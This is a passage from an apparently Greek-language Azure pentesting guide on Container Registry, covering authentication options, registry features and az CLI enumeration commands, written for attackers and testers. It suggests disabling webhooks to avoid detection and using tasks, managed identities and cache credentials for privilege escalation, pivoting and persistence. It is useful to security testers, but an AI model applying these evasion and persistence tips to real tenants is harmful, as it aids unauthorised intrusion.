μητρώο με το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του λογαριασμού διαχειριστή με πλήρεις άδειες στο μητρώο. Αυτό υποστηρίζεται ακόμα γιατί ορισμένες υπηρεσίες Azure το χρησιμοποιούν. Σημειώστε ότι δημιουργούνται **2 κωδικοί πρόσβασης** για αυτόν τον χρήστη και οι δύο είναι έγκυροι. Μπορείτε να το ενεργοποιήσετε με `az acr update -n --admin-enabled true`. Σημειώστε ότι το όνομα χρήστη είναι συνήθως το όνομα του μητρώου (και όχι `admin`). +- **Με ένα token**: Είναι δυνατή η δημιουργία ενός **token** με έναν **συγκεκριμένο `scope map`** (άδειες) για πρόσβαση στο μητρώο. Στη συνέχεια, είναι δυνατή η χρήση αυτού του ονόματος token ως όνομα χρήστη και κάποιου από τους παραγόμενους κωδικούς πρόσβασης για να αυθεντικοποιηθείτε στο μητρώο με `docker login -u -p aregistry-url>` +- **Με έναν Service Principal**: Είναι δυνατή η δημιουργία ενός **service principal** και η ανάθεση ενός ρόλου όπως **`AcrPull`** για να κάνετε pull εικόνες. Στη συνέχεια, θα είναι δυνατή η **σύνδεση στο μητρώο** χρησιμοποιώντας το appId του SP ως όνομα χρήστη και ένα παραγόμενο μυστικό ως κωδικό πρόσβασης. + +Παράδειγμα script από τα [έγγραφα](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) για τη δημιουργία ενός SP με πρόσβαση σε ένα μητρώο: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### Κρυπτογράφηση + +Μόνο το **Premium SKU** υποστηρίζει **κρυπτογράφηση σε κατάσταση αδράνειας** για τις εικόνες και άλλα αντικείμενα. + +### Δικτύωση + +Μόνο το **Premium SKU** υποστηρίζει **ιδιωτικά σημεία πρόσβασης**. Τα άλλα υποστηρίζουν μόνο **δημόσια πρόσβαση**. Ένα δημόσιο σημείο πρόσβασης έχει τη μορφή `.azurecr.io` και ένα ιδιωτικό σημείο πρόσβασης έχει τη μορφή `.privatelink.azurecr.io`. Για αυτόν τον λόγο, το όνομα του μητρώου πρέπει να είναι μοναδικό σε όλη την Azure. + +### Microsoft Defender for Cloud + +Αυτό σας επιτρέπει να **σκανάρετε τις εικόνες** στο μητρώο για **ευπάθειες**. + +### Soft-delete + +Η δυνατότητα **soft-delete** σας επιτρέπει να **ανακτήσετε ένα διαγραμμένο μητρώο** εντός του καθορισμένου αριθμού ημερών. Αυτή η δυνατότητα είναι **απενεργοποιημένη από προεπιλογή**. + +### Webhooks + +Είναι δυνατόν να **δημιουργήσετε webhooks** μέσα σε μητρώα. Σε αυτό το webhook είναι απαραίτητο να καθορίσετε τη διεύθυνση URL όπου θα αποσταλεί ένα **αίτημα κάθε φορά που εκτελείται μια ενέργεια push ή delete**. Επιπλέον, τα Webhooks μπορούν να υποδείξουν μια εμβέλεια για να υποδείξουν τα αποθετήρια (εικόνες) που θα επηρεαστούν. Για παράδειγμα, 'foo:*' σημαίνει γεγονότα κάτω από το αποθετήριο 'foo'. + +Από την οπτική γωνία ενός επιτιθέμενου, είναι ενδιαφέρον να ελέγξετε αυτό **πριν εκτελέσετε οποιαδήποτε ενέργεια** στο μητρώο και να το αφαιρέσετε προσωρινά αν χρειαστεί, για να αποφευχθεί η ανίχνευση. + +### Συνδεδεμένα μητρώα + +Αυτό επιτρέπει βασικά να **αντιγράφετε τις εικόνες** από ένα μητρώο σε ένα άλλο, συνήθως τοποθετημένο τοπικά. + +Έχει 2 λειτουργίες: **ReadOnly** και **ReadWrite**. Στην πρώτη, οι εικόνες **τραβιούνται** μόνο από το μητρώο προέλευσης, και στη δεύτερη, οι εικόνες μπορούν επίσης να **ωθηθούν** στο μητρώο προέλευσης. + +Για να έχουν πρόσβαση οι πελάτες στο μητρώο από την Azure, δημιουργείται ένα **token** όταν χρησιμοποιείται το συνδεδεμένο μητρώο. + +### Εκτελέσεις & Εργασίες + +Οι Εκτελέσεις & Εργασίες επιτρέπουν την εκτέλεση σχετικών ενεργειών κοντέινερ στην Azure που συνήθως χρειάζεστε να κάνετε τοπικά ή σε μια CI/CD pipeline. Για παράδειγμα, μπορείτε να **κατασκευάσετε, να ωθήσετε και να εκτελέσετε εικόνες στο μητρώο**. + +Ο ευκολότερος τρόπος για να κατασκευάσετε και να εκτελέσετε ένα κοντέινερ είναι χρησιμοποιώντας μια κανονική Εκτέλεση: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +Ωστόσο, αυτό θα ενεργοποιήσει εκτελέσεις που δεν είναι πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, καθώς δεν έχουν καμία διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτές. + +Ωστόσο, οι **εργασίες** μπορούν να έχουν μια **διαχειριζόμενη ταυτότητα συστήματος και χρήστη** συνδεδεμένη σε αυτές. Αυτές οι εργασίες είναι αυτές που είναι χρήσιμες για **την κλιμάκωση δικαιωμάτων** στο κοντέινερ. Στην ενότητα κλιμάκωσης δικαιωμάτων είναι δυνατόν να δούμε πώς να χρησιμοποιήσουμε τις εργασίες για να κλιμακώσουμε δικαιώματα. + +### Cache + +Η δυνατότητα cache επιτρέπει να **κατεβάσετε εικόνες από ένα εξωτερικό αποθετήριο** και να αποθηκεύσετε τις νέες εκδόσεις στο μητρώο. Απαιτεί να έχετε κάποιες **διαπιστεύσεις ρυθμισμένες** επιλέγοντας τις διαπιστεύσεις από ένα Azure Vault. + +Αυτό είναι πολύ ενδιαφέρον από την προοπτική ενός επιτιθέμενου, καθώς επιτρέπει να **μεταβείτε σε μια εξωτερική πλατφόρμα** αν ο επιτιθέμενος έχει αρκετά δικαιώματα για να αποκτήσει πρόσβαση στις διαπιστεύσεις, **να κατεβάσει εικόνες από ένα εξωτερικό αποθετήριο** και η ρύθμιση μιας cache θα μπορούσε επίσης να χρησιμοποιηθεί ως **μηχανισμός επιμονής**. + +## Enumeration + +> [!WARNING] +> Είναι πολύ σημαντικό ότι ακόμη και αν το όνομα του μητρώου περιέχει μερικά κεφαλαία γράμματα, θα πρέπει να χρησιμοποιείτε μόνο πεζά γράμματα στη διεύθυνση URL για να έχετε πρόσβαση σε αυτό. +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## Ανάβαση Δικαιωμάτων & Μετά την Εκμετάλλευση + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Αναφορές + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}